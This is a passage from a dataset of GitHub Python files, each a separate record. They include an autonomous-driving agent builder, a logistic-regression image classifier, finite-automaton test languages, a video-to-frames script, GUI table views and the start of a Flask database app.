token\n \"\"\"\n unique_agents: UniqueIDMAgents = {}\n\n detections = scenario.initial_detections\n map_api = scenario.map_api\n ego_box = ego_state_to_box_3d(scenario.get_ego_state_at_iteration(0))\n ego_box.token = \"ego\"\n agent_occupancy = STRTreeOccupancyMapFactory.get_from_boxes([ego_box])\n\n desc = \"Converting detections to smart agents\"\n\n for agent_box in tqdm(detections.boxes, desc=desc, leave=False):\n # filter for only vehicles\n if agent_box.label == 1 and agent_box.token not in unique_agents:\n\n path, progress = build_map_rails(agent_box, map_api)\n\n # Ignore agents that a baseline path cannot be built for\n if path is None:\n continue\n\n # Snap agent to baseline path\n progress_state = path.get_state_at_progress(progress)\n agent_box.center = np.array([progress_state.x, progress_state.y, 0])\n agent_box.orientation = yaw_to_quaternion(progress_state.heading)\n\n # Check for collision\n if not agent_occupancy.intersects(box3d_to_polygon(agent_box)).is_empty():\n continue\n\n agent_occupancy.insert(agent_box.token, box3d_to_polygon(agent_box))\n\n # Project velocity into local frame\n if np.isnan(agent_box.velocity).any():\n ego_state = scenario.get_ego_state_at_iteration(0)\n logger.debug(\n f\"Agents has nan velocity. Setting velocity to ego's velocity of \"\n f\"{ego_state.dynamic_car_state.speed}\")\n agent_box.velocity = np.array([ego_state.dynamic_car_state.speed, 0.0, 0.0])\n else:\n agent_box.velocity = (np.hypot(agent_box.velocity[0], agent_box.velocity[1]), 0, 0)\n\n unique_agents[agent_box.token] = IDMAgent(start_iteration=0,\n intial_state=agent_box,\n path=path,\n path_progress=progress,\n policy=IDMPolicy(target_velocity,\n min_gap_to_lead_agent,\n headway_time,\n accel_max,\n decel_max))\n return unique_agents, agent_occupancy\n","repo_name":"mk-minchul/path_planning_with_attention","sub_path":"nuplan/planning/simulation/observation/smart_agents/idm_agents/idm_agents_builder.py","file_name":"idm_agents_builder.py","file_ext":"py","file_size_in_byte":6310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"73223311515","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport scipy\r\nfrom scipy import optimize as opt\r\nfrom scipy import ndimage\r\nfrom utils import load_images_from_folder\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\n\r\nY_train = [] # labels are created during execution time\r\nY_dev = []\r\nY_test = []\r\nnum_px = 64 # during execution images are resized to 64x64x3. This way we lose their quality but we save computational time. \r\nC = 3 # number of classes to detect\r\n\r\nimages_train = load_images_from_folder(Y_train, folder=\"images_train\")\r\nX_train = images_train / 255 # normalize dataset\r\nY_train = np.array(Y_train) # convert the labels Y list into a numpy array\r\n\r\nimages_dev = load_images_from_folder(Y_dev, folder=\"images_dev\")\r\nX_dev = images_dev / 255 # normalize dataset\r\nY_dev = np.array(Y_dev) # convert the labels Y list into a numpy array\r\n\r\nimages_test = load_images_from_folder(Y_test, folder=\"images_test\")\r\nX_test = images_test / 255 # normalize dataset\r\nY_test = np.array(Y_test) # convert the labels Y list into a numpy array\r\n\r\nX_train = X_train.T\r\nX_train = np.hstack([np.ones([len(X_train), 1]), X_train])\r\nX_dev = X_dev.T\r\nX_dev = np.hstack([np.ones([len(X_dev), 1]), X_dev])\r\nX_test = X_test.T\r\nX_test = np.hstack([np.ones([len(X_test), 1]), X_test])\r\n\r\ndef sigmoid(z):\r\n return 1 / (1 + np.exp(-z))\r\n\r\ndef cost(theta, X, Y, lambd):\r\n theta = theta.reshape((len(theta), 1)) \r\n A = sigmoid(np.matmul(X, theta))\r\n reg = (lambd / (2 * len(X))) * np.sum(theta ** 2)\r\n return (- 1 / (len(X))) * np.sum(Y * np.log(A) + (1 - Y) * np.log(1 - A + 1e-6)) + reg\r\n\r\ndef gradient(theta, X, Y, lambd):\r\n theta = theta.reshape((len(theta), 1))\r\n A = sigmoid(np.matmul(X, theta))\r\n identity = np.identity(theta.shape[0])\r\n identity[0][0] = 0\r\n return (np.dot(X.T, (A - Y)) / len(Y) + (lambd / len(X)) * np.dot(identity, theta)).ravel()\r\n\r\ndef model(X, Y, lambd):\r\n theta = np.zeros(X.shape[1])\r\n result = opt.fmin_tnc(func=cost, x0=theta, fprime=gradient, args = (X, Y, lambd), maxfun=50)\r\n theta = result[0]\r\n return theta\r\n\r\ndef oneVsAll(X, Y, n_labels, reg):\r\n \"\"\"\r\n oneVsAll entrena varios clasificadores por regresión logística con término\r\n de regularización 'reg' y devuelve el resultado en una matriz, donde\r\n la fila i-ésima corresponde al clasificador de la etiqueta i-ésima\r\n \"\"\"\r\n theta = []\r\n for i in range(n_labels):\r\n theta.append(model(X, Y[:, i].reshape((len(Y), 1)), reg))\r\n theta = np.array(theta)\r\n return theta\r\n\r\ndef choose_lambda(X, y, X_val, y_val, C):\r\n lambd = np.array([0, 0.001, 0.003, 0.01, 0.03, 0.1, 0.3, 1, 3, 10, 30, 100])\r\n error_dots = np.zeros(len(lambd))\r\n error_val = np.zeros(len(lambd))\r\n for i in range(len(lambd)):\r\n theta = oneVsAll(X, y, C, lambd[i])\r\n for c in range(C):\r\n error_dots[i] += gradient(theta[c, :], X, y, lambd[i])[0]\r\n error_val[i] += gradient(theta[c, :], X_val, y_val, lambd[i])[0]\r\n error_dots[i] /= C\r\n error_val[i] /= C\r\n plt.plot(lambd, error_dots)\r\n plt.plot(lambd, error_val)\r\n print(error_dots)\r\n print(error_val)\r\n plt.show()\r\n\r\ndef choose_lambda_acc(X, Y, X_val, Y_val, C=3):\r\n lambd = np.array([0, 0.001, 0.003, 0.01, 0.03, 0.1, 0.3, 1, 3, 10, 30, 100, 300, 1000])\r\n accuracy_dots = np.zeros(len(lambd))\r\n accuracy_val = np.zeros(len(lambd))\r\n\r\n for i in range(len(lambd)):\r\n theta = oneVsAll(X, Y, C, lambd[i])\r\n prediction = np.dot(X, theta.T)\r\n index_max = np.argmax(prediction, axis = 1)\r\n index_max = index_max.reshape((len(index_max), 1))\r\n accuracy_dots[i] = np.sum(np.argmax(Y, axis = 1).reshape((len(Y), 1)) == index_max) / Y.shape[0]\r\n\r\n predict_val = np.dot(X_val, theta.T)\r\n index_max = np.argmax(predict_val, axis = 1)\r\n index_max = index_max.reshape((len(index_max), 1))\r\n accuracy_val[i] = np.sum(np.argmax(Y_val, axis = 1).reshape((len(Y_val), 1)) == index_max) / Y_val.shape[0]\r\n plt.plot(lambd, accuracy_dots)\r\n plt.plot(lambd, accuracy_val)\r\n print(accuracy_dots)\r\n print(accuracy_val)\r\n plt.show()\r\n\r\ndef calculate_probability(X, Y, theta, C=3):\r\n prediction = np.dot(X, theta.T)\r\n index_max = np.argmax(prediction, axis = 1)\r\n index_max = index_max.reshape((len(index_max), 1))\r\n accuracy = np.sum(np.argmax(Y, axis = 1).reshape((len(Y), 1)) == index_max) / Y.shape[0]\r\n print(\"Accuracy \" + str(accuracy * 100) + '%')\r\n \r\n precision = np.zeros(C)\r\n recall = np.zeros(C)\r\n for c in range(C):\r\n precision[c] = np.sum((Y[:, c] == 1) * (index_max == c).ravel()) / np.sum(index_max == c)\r\n recall[c] = np.sum((Y[:, c] == 1) * (index_max == c).ravel()) / np.sum(Y[:, c] == 1)\r\n print(\"precision dogs: \" + str(precision[0]))\r\n print(\"precision cats: \" + str(precision[1]))\r\n print(\"precision elephants: \" + str(precision[2]))\r\n\r\n print(\"recall dogs: \" + str(recall[0]))\r\n print(\"recall cats: \" + str(recall[1]))\r\n print(\"recall elephants: \" + str(recall[2]))\r\n\r\n print(\"f1 score dogs: \" + str(2 * precision[0] * recall[0] / (precision[0] + recall[0])))\r\n print(\"f1 score cats: \" + str(2 * precision[1] * recall[1] / (precision[1] + recall[1])))\r\n print(\"f1 score elephants: \" + str(2 * precision[2] * recall[2] / (precision[2] + recall[2])))\r\n\r\n print(\"average dogs: \" + str((precision[0] + recall[0]) / 2))\r\n print(\"average cats: \" + str((precision[1] + recall[1]) / 2))\r\n print(\"average elephants: \" + str((precision[1] + recall[1]) / 2))\r\n\r\n\r\n \r\n\r\n#choose_lambda(X_train, Y_train, X_dev, Y_dev, 3)\r\n#choose_lambda_acc(X_train, Y_train, X_dev, Y_dev, 3)\r\nthetas = oneVsAll(X_train, Y_train, C, 300)\r\nprint(\"Accuracy training set:\")\r\ncalculate_probability(X_train, Y_train, thetas) \r\nprint(\"Accuracy validation set:\")\r\ncalculate_probability(X_dev, Y_dev, thetas) \r\nprint(\"Accuracy test set:\")\r\ncalculate_probability(X_test, Y_test, thetas)\r\n\r\n#theta = np.zeros(X.shape[1])\r\n#print(theta.shape)\r\n#print(gradient(theta, X, Y[:, 0].reshape((len(Y), 1)), 0.1).shape)\r\n#print(cost(theta, X, Y, 0.1))\r\n","repo_name":"GasanNazer/MachineLearning","sub_path":"project/logistic_regression_sigmoid.py","file_name":"logistic_regression_sigmoid.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71449674394","text":"#!/usr/bin/env python3\n\n'''NaidooRefLanguages - CanonicalMooreMachine representations of the reference languages (or complements) from \"Evolving Automata Using Genetic Programming\" by Amashini Naidoo, '''\n\n# Language\n# Number Description (a=0, b=1, c=2) Example\n#-------------------------------------------------------------------------------------------------------------\n# L1 a* where Σ={a,b} Accepted:aaaa Rejected:aabaa\n#-------------------------------------------------------------------------------------------------------------\n# L2 (ba)* where Σ={a,b} Accepted:bababa Rejected:babab\n#-------------------------------------------------------------------------------------------------------------\n# L3 any sentence without an odd number of consecutive a’s\n# after an odd number of consecutive b’s Accepted:aaabaabb Rejected:aaabbba\n#-------------------------------------------------------------------------------------------------------------\n# L4 any sentence over the alphabet {a,b} without more than two\n# consecutive a’s Accepted:aabaabbbaa Rejected:babaaab\n#-------------------------------------------------------------------------------------------------------------\n# L5 any sentence with an even number of a’s\n# and an even number of b’s Accepted:ababbaba Rejected:aababb\n#-------------------------------------------------------------------------------------------------------------\n# L6 any sentence such that the numberof a’s differs\n# from the number of b’s by 0 modulo 3 Accepted:aaabbbbbb Rejected:aaaba\n#-------------------------------------------------------------------------------------------------------------\n# L7 a*b*a*b* where Σ={a,b} Accepted:aabaaabb Rejected:aabaaba\n#-------------------------------------------------------------------------------------------------------------\n# L8 a*b where Σ={a,b} Accepted:aaab Rejected:aabaaba\n#-------------------------------------------------------------------------------------------------------------\n# L9 (a*+c*)b where Σ={a,b,c} Accepted:aaaab,ccb Rejected:accb\n#-------------------------------------------------------------------------------------------------------------\n# L10 (aa)*(bbb)* where Σ={a,b} Accepted:aabbb Rejected:aabaaba\n#-------------------------------------------------------------------------------------------------------------\n# L11 any sentence with an even number of a’s and an odd number\n# of b’s Accepted:aabbb Rejected:aabaaba\n#-------------------------------------------------------------------------------------------------------------\n# L12 a(aa)*b where Σ={a,b} Accepted:aaaaab Rejected:aa\n#-------------------------------------------------------------------------------------------------------------\n# L13 any sentence over the alphabet {a,b} with an even number\n# ofa’s Accepted:aaaabaa Rejected:aaab\n#-------------------------------------------------------------------------------------------------------------\n# L14 (aa)*ba* Accepted:aaaabaa Rejected:aaab\n#-------------------------------------------------------------------------------------------------------------\n# L15 bc*b+ac*a where Σ={a,b,c} Accepted:bccb,accca Rejected:accb\n#\n\n\n\n\n\n# L1 a* where Σ={a,b} Accepted:aaaa Rejected:aabaa\n\nL1 = (\"1\t0\t1\\n\"\n \"0\t1\t1\")\n\nL1_accept = [(0,0,0,0)]\nL1_reject = [(0,0,1,0,0)]\n\n\n# L2 (ba)* where Σ={a,b} Accepted:bababa Rejected:babab\n\nL2 = (\"1\t1\t2\\n\"\n \"0 1 1\\n\"\n \"0 0 1\")\n\nL2_accept = [(1,0,1,0,1,0)]\nL2_reject = [(1,0,1,0,1)]\n\n\n# L3 any sentence without an odd number of consecutive a’s\n# after an odd number of consecutive b’s Accepted:aaabaabb Rejected:aaabbba\n\nL3 = (\"1\t0\t1\\n\" # Even (inc 0) consecutive b's\n \"1\t2\t0\\n\" # After odd number of b's\n \"0\t3\t4\\n\" # An odd number of a's after an odd number of b's\n \"1\t2\t5\\n\" # An even number of a's after an odd number of b's\n \"0 4 4\\n\" # Definite odd # of a's after odd # of b's\n \"1 2 5\") # Some b's after an odd # of b's followed by an eve # of a's\n\nL3_accept = [(0,0,0,1,0,0,1,1)]\nL3_reject = [(0,0,0,1,1,1,0), (0,0,1,0,0,1,1,0,0,1,0,1,1)]\n\n\n# L4 any sentence over the alphabet {a,b} without more than two\n# consecutive a’s Accepted:aabaabbbaa Rejected:babaaab\n\nL4 = (\"1 1 0\\n\" # No sequence of a's seen\n \"1 2 0\\n\" # One a\n \"1 3 0\\n\" # Two consecutive a's\n \"0 3 3\") # Three consdecutive a's\n\nL4_accept = [(0,0,1,0,0,1,1,1,0,0)]\nL4_reject = [(1,0,1,0,0,0,1)]\n\n# L5 Any sentence with an even number of a’s and an even number of b’s - complement of (aa|bb|((ab|ba)(aa|bb)*(ab|ba)))*\n# L5 any sentence with an even number of a’s\n# and an even number of b’s Accepted:ababbaba Rejected:aababb\n\nL5 = (\"1 1 2\\n\" # even numbner of a's and b's\n \"0 0 3\\n\" # odd a's, even b's\n \"0 3 0\\n\" # even a's, odd b's\n \"0 2 1\") # odd a's, odd b's\n\nL5_accept = [(0,1,0,1,1,0,1,0)]\n\nL5_reject = [(0,0,1,0,1,1)]\n\n\n# L6 any sentence such that the numberof a’s differs\n# from the number of b’s by 0 modulo 3 Accepted:aaabbbbbb Rejected:aaabab\n\nL6 = (\"1 1 2\\n\" # 0: diff 0 mod 3\n \"0 3 0\\n\" # 1: 1 more a than b (mod 3)\n \"0 0 4\\n\" # 2: 1 more b then a (mod 3)\n \"0 0 1\\n\" # 3: 2 more a than b (mod 3)\n \"0 2 0\") # 4: 2 more b than a (mod 3)\n\nL6_accept = [ (),(0,0,0,1,1,1,1,1,1)]\n\nL6_reject = [(0,0,0,1,0,1), (1,1,0,1), (1,), (0,)]\n\n# L7 a*b*a*b* where Σ={a,b} Accepted:aabaaabb Rejected:aabaaba\n\nL7 = (\"1 1 2\\n\" # 0: empty string\n \"1 1 2\\n\" # 1: in first a*\n \"1 3 2\\n\" # 2: in first b*\n \"1 3 4\\n\" # 3: in second a*\n \"1 5 4\\n\" # 4: in second b*\n \"0 5 5\") # 5: a seen after two runs of b\n\nL7_accept = [ (0,0,1,0,0,0,1,1), (0,0,1,0) ]\n\nL7_reject = [(0,0,1,0,0,1,0)]\n\n# L8 a*b where Σ={a,b} Accepted:aaab Rejected:aabaaba\n\nL8 = (\"0 0 1\\n\" # 0: in a*\n \"1 2 2\\n\" # 1: b seen - must be last symbol\n \"0 2 2\") # 2: anything else is rejected\n\nL8_accept = [(0,0,0,1), (1,)]\nL8_reject = [(0,0,1,0,0,1,0), (1,0)]\n\n# L9 (a*+c*)b where Σ={a,b,c} Accepted:aaaab,ccb Rejected:accb\nL9 = (\"0 1 2 3\\n\" # 0: Decide if a+, c+ or \"\"\n \"0 1 2 4\\n\" # 1: a*\n \"1 4 4 4\\n\" # 2: b seen - must be the last symbol\n \"0 4 2 3\\n\" # 3: c*\n \"0 4 4 4\") # 4: anything else is rejected\n\nL9_accept = [(0,0,0,0,1), (2,2,1)]\nL9_reject = [(0,2,2,1)]\n\n\n# LX (ab|ba|aab|bba|aaab|bbba|aaaab|bbbba|aaaaab|bbbbba)* Accepted: abbbbba, ba Rejected: bbbbbb\nLX = (\"1 1 2\\n\" # 0: \n \"0 3 0\\n\" # 1: a seen \n \"0 0 4\\n\" # 2: b seen \n \"0 5 0\\n\" # 3: aa\n \"0 0 6\\n\" # 4: bb\n \"0 7 0\\n\" # 5: aaa\n \"0 0 8\\n\" # 6: bbb\n \"0 9 0\\n\" # 7: aaaa\n \"0 0 10\\n\" # 8: bbbb\n \"0 11 0\\n\" # 9: aaaaa\n \"0 0 11\\n\" # 10: bbbbb\n \"0 11 11\") # 11: a^5 or b^5 seen, reject everything else \n\nLX_accept = [(0,1,1,1,1,1,0), (1,0)]\nLX_reject = [(1,1,1,1,1,1)]\n\n\nRefLanguages = [L1, L2, L3, L4, L5]\n\n\n\n\n\n# L6 Any sentence such that the number of a’s differs from the number of b’s by 0 modulo 3\n# L7 a*b*a*b*\n# L8 a*b\n# L9 (a*+c*)b\n# L10 (aa)*(bbb)*\n# L11 Any sentence with an even number of a’s and an odd number of b’s\n# L12 a(aa)*b\n# L13 Any sentence over the alphabet {a, b} with an even number of a’s\n# L14 (aa)*ba*\n# L15 bc*b+ac*a\n\n# Unit testing\nimport unittest\n\nimport automata\n\nclass TestRefLangs(unittest.TestCase):\n def test_L1(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L1))\n for i in L1_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L1_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L2(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L2))\n for i in L2_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L2_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L3(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L3))\n for i in L3_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L3_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n\n def test_L4(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L4))\n for i in L4_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L4_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L5(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L5))\n for i in L5_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L5_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L6(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L6))\n for i in L6_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L6_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L7(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L7))\n for i in L7_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L7_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L8(self):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(L8))\n for i in L8_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in L8_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def LNtest(self, LN, LN_accept, LN_reject):\n mr = automata.MooreMachineRun(automata.CanonicalMooreMachine.from_string(LN))\n for i in LN_accept:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 1)\n for i in LN_reject:\n mr.reset()\n mr.multistep(i)\n self.assertEqual(mr.output(), 0)\n\n def test_L9(self):\n self.LNtest(L9, L9_accept, L9_reject)\n\n def test_LX(self):\n self.LNtest(LX, LX_accept, LX_reject)\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"tonyzoltai/FSM-Evolution","sub_path":"NaidooRefLanguages.py","file_name":"NaidooRefLanguages.py","file_ext":"py","file_size_in_byte":12833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14260113593","text":"import cv2\nimport imutils\nimport json\n\ndef draw_row(row):\n ascii_frame = []\n for pixel in row:\n if pixel < 128:\n ascii_frame.append(1)\n else:\n ascii_frame.append(0)\n return ascii_frame\n\ndef draw_frame(frame):\n ascii_frame = [draw_row(row) for row in frame]\n return ascii_frame\n\nif __name__ == \"__main__\":\n # Store all frames in a list\n frames = []\n\n # Read the video file\n cap = cv2.VideoCapture('ba.mp4')\n\n while cap.isOpened():\n ret, frame = cap.read()\n\n if not ret:\n break\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n small = imutils.resize(gray, width=40)\n frames.append(draw_frame(small))\n\n # Release the VideoCapture object\n cap.release()\n\n # Convert frames to JSON and write to file\n with open(\"frames.json\", \"w\") as f:\n f.write(json.dumps(frames))\n","repo_name":"lnus/git-apple","sub_path":"assets/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8298645883","text":"from sys import argv\nimport json\n\nscript, filename, savefile = argv\n\nwith open(filename) as data_file:\n\tdata = json.load(data_file)\n\nnewlist =[]\nappType =[]\nfor s in data['Result']['AppTemplates']['Results']:\n apptype = s['Row']['WebAppType']\n\t\n newlist.append({'ID':s['Row']['ID'], 'Type': apptype, 'DisplayName': s['Row']['DisplayName'], 'Category':s['Row']['Category'], 'Icon':'https://cloud.centrify.com' + s['Row']['Icon'], 'Desc':s['Row']['Description']})\n \n if apptype in appType:\n continue \n else:\n appType.append(apptype)\n\nnewDic={}\nnewDic['categories'] = data['Result']['Categories']\nnewDic['apps'] = newlist\nnewDic['apptype'] = appType\nwith open(savefile, 'w+') as fp:\n\tjson.dump(newDic, fp)\n","repo_name":"behappyyoung/PythonSampleCodes","sub_path":"SampleCodes/manJson.py","file_name":"manJson.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"23751724824","text":"import customtkinter as ctk\n\nfrom typing import Callable\n\nfrom .registry import ComponentRegistry\nfrom .main_frame import MainFrame\nfrom .side_frame import SideFrame\n\n\nclass UI:\n def __init__(\n self,\n root_app: ctk.CTk,\n model_names: list[str],\n ) -> None:\n self.component_registry = ComponentRegistry()\n self.base_frame = ctk.CTkFrame(root_app)\n self.base_frame.pack(fill=\"both\", expand=True)\n\n self.side_frame = SideFrame(\n self.base_frame, component_registry=self.component_registry\n )\n self.main_frame = MainFrame(\n self.base_frame,\n component_registry=self.component_registry,\n model_names=model_names,\n )\n\n self._setup_base_btn_commands()\n\n def add_btn_command(self, tag: str, command: Callable) -> None:\n self.component_registry.get_button(tag).configure(command=command)\n\n def set_label_text(self, tag: str, text: str) -> None:\n self.component_registry.get_label(tag).configure(text=text)\n\n def _setup_base_btn_commands(self):\n self.add_btn_command(\"admin\", lambda: self.main_frame.show_panel(0))\n self.add_btn_command(\"user\", lambda: self.main_frame.show_panel(1))\n self.add_btn_command(\"testing\", lambda: self.main_frame.show_panel(2))\n","repo_name":"Tremirre/CassandraRentalApp","sub_path":"rental/ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21863686341","text":"from PyQt5.QtPrintSupport import QPrinter, QPrintPreviewDialog\nfrom PyQt5.QtCore import QFileInfo\n\nfrom project.views.tab_view.present_tab_views.present_view import PresentView\nfrom project.views.tab_view.present_tab_views.present_dialogs import *\nfrom project.utils.enums import Actions, ResponseStatus\nfrom project.models.my_widgets import *\nfrom project.utils import strings as strs\n\n\nclass PresentPositionView(PresentView):\n\n def __init__(self, name, manager, *args, **kwargs):\n super(PresentPositionView, self).__init__(*args, **kwargs)\n self._name = name\n self._manager = manager\n self._content = QTextEdit(self)\n self._content.hide()\n\n self._printer = QPrinter(QPrinter.HighResolution)\n self._printer.setFullPage(True)\n self._printer.setPageMargins(2, 5, 2, 5, QPrinter.Millimeter)\n\n self._init_ui()\n\n def _init_ui(self):\n self.table = MyTable(strs.PRESENT_POSITION_HDR)\n self._update_table()\n\n self.scroll_area = QScrollArea(self)\n self.scroll_area.setWidgetResizable(True)\n self.scroll_area.setWidget(self.table)\n\n update_button = MyButton(strs.UPDATE_BTN)\n update_button.clicked.connect(self._update)\n\n delete_button = MyButton(strs.DELETE_BTN)\n delete_button.clicked.connect(self._delete)\n\n print_button = MyButton(strs.PRINT_BTN)\n print_button.clicked.connect(self._print)\n\n export_button = MyButton(strs.EXPORT_BTN)\n export_button.clicked.connect(self._export_pdf)\n\n buttons_layout = QHBoxLayout()\n buttons_layout.addWidget(update_button)\n buttons_layout.addWidget(delete_button)\n buttons_layout.addWidget(print_button)\n buttons_layout.addWidget(export_button)\n\n layout = QVBoxLayout()\n layout.addWidget(self.scroll_area)\n layout.addLayout(buttons_layout)\n self.setLayout(layout)\n\n def _update_table(self):\n positions = self._manager.actions(Actions.all_positions)\n\n self.table.setRowCount(len(positions))\n\n for row, position in enumerate(positions):\n saturday_value = strs.YES if position.get_saturday() else strs.NO\n\n self.table.setItem(row, 0, QTableWidgetItem(position.get_name()))\n self.table.setItem(row, 1, QTableWidgetItem(saturday_value))\n\n def update(self):\n self._update_table()\n\n def _update(self):\n row_index = self._check_selection()\n\n if row_index is not None:\n position_name = self.table.selectedItems()[0].text()\n saturday_value = int(not funcs.convert_saturday(self.table.selectedItems()[1].text()))\n values = [position_name, position_name, saturday_value]\n\n dialog = UpdatePositionDialog(values)\n\n if dialog.exec():\n response = self._manager.actions(Actions.update_position, dialog.get_value())\n\n funcs.show_message(self, response.get_status(), strs.PRESENT_VIEW_MSG, response.get_message())\n\n if response.get_status() == ResponseStatus.success:\n self._update_table()\n\n def _delete(self):\n row_index = self._check_selection()\n\n if row_index is not None:\n values = [self.table.selectedItems()[0].text()]\n\n dialog = DeleteRowDialog()\n\n if dialog.exec():\n response = self._manager.actions(Actions.delete_position, values)\n\n funcs.show_message(self, response.get_status(), strs.PRESENT_VIEW_MSG, response.get_message())\n\n if response.get_status() == ResponseStatus.success:\n self._update_table()\n\n def _print(self):\n preview_dialog = QPrintPreviewDialog(self._printer, self)\n\n preview_dialog.setMinimumSize(cons.PRINT_PREVIEW_DIALOG_WIDTH, cons.PRINT_PREVIEW_DIALOG_HEIGHT)\n preview_dialog.paintRequested.connect(self._print_preview)\n preview_dialog.exec_()\n\n def _print_preview(self):\n data = self._prepare_data()\n self._printer.setOutputFormat(QPrinter.NativeFormat)\n\n self._content.clear()\n self._content.insertHtml(funcs.create_html(strs.POSITIONS_LIST_TITLE, data, strs.PRESENT_POSITION_HDR))\n self._content.document().print_(self._printer)\n\n def _export_pdf(self):\n data = self._prepare_data()\n self._printer.setOutputFormat(QPrinter.PdfFormat)\n fn, _ = QFileDialog.getSaveFileName(self, strs.EXPORT_CAPTION, cons.EXPORT_DEFAULT_PATH, strs.SAVE_FILE_FILTER)\n\n if fn != \"\":\n fn = fn + \".pdf\" if QFileInfo(fn).suffix() == \"\" else fn\n\n self._printer.setOutputFileName(fn)\n\n self._content.clear()\n self._content.insertHtml(funcs.create_html(strs.POSITIONS_LIST_TITLE, data, strs.PRESENT_POSITION_HDR))\n self._content.document().print_(self._printer)\n\n def _check_selection(self):\n selected_ranges = self.table.selectedRanges()\n\n if len(self.table.selectedItems()) != 2 or len(selected_ranges) != 1 or selected_ranges[0].rowCount() != 1:\n QMessageBox.warning(self, strs.PRESENT_VIEW_MSG, strs.MUST_SELECT_ONE_ROW_MSG)\n self.table.clearSelection()\n\n return None\n\n return selected_ranges[0].topRow()\n\n def _prepare_data(self):\n positions = self._manager.actions(Actions.all_positions)\n data = list()\n\n for position in positions:\n saturday_value = strs.YES if position.get_saturday() else strs.NO\n\n data.append([position.get_name(), saturday_value])\n\n return data\n\n def get_name(self):\n return self._name\n","repo_name":"pavle10/project_m","sub_path":"project/views/tab_view/present_tab_views/present_position_view.py","file_name":"present_position_view.py","file_ext":"py","file_size_in_byte":5646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10159020293","text":"#อ่าน Text ไฟล์\n#open(\"name\",\"mode\",การเข้ารหัส)\n\ntry:\n f = open('./Text/test.txt','r',encoding=\"UTF-8\")\n s = f.readlines()\n for i in s:\n print(i)\n f.close()\nexcept FileNotFoundError:\n print(\"File not found.\")","repo_name":"PunyawS/learn_Python","sub_path":"Python for Beginner Phase3/82.py","file_name":"82.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39651771447","text":"# Создать базу данных для хранения информации о студентах университета.\n# База данных должна содержать две таблицы: \"Студенты\" и \"Факультеты\".\n# В таблице \"Студенты\" должны быть следующие поля: id, имя, фамилия, возраст, пол, группа и id факультета.\n# В таблице \"Факультеты\" должны быть следующие поля: id и название факультета.\n# Необходимо создать связь между таблицами \"Студенты\" и \"Факультеты\".\n# Написать функцию-обработчик, которая будет выводить список всех студентов с указанием их факультета.\nimport random\n\nfrom flask import Flask, render_template\n\nfrom models02 import db, Author, Book\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///mydatabase.db'\ndb.init_app(app)\n\n\n@app.route('/')\ndef index():\n return 'Hello world!'\n\n\n@app.cli.command('init-db')\ndef init_db():\n db.create_all()\n print('OK')\n\n\n@app.cli.command('add-author')\ndef add_author():\n count = 3\n for author in range(1, count + 1):\n new_author = Author(first_name=f'first_name{author}',\n last_name=f'last_name{author}')\n db.session.add(new_author)\n db.session.commit()\n print('Add author')\n\n\n@app.cli.command('add-book')\ndef add_book():\n count = 5\n YEAR_FIRST_BOOK = -4000\n NOW_YEARS = 2023\n MIN_INSTANCE = 1\n MAX_INSTANCE = 10000\n for book in range(1, count + 1):\n new_book = Book(name=f'name{book}',\n year=random.randint(YEAR_FIRST_BOOK, NOW_YEARS),\n 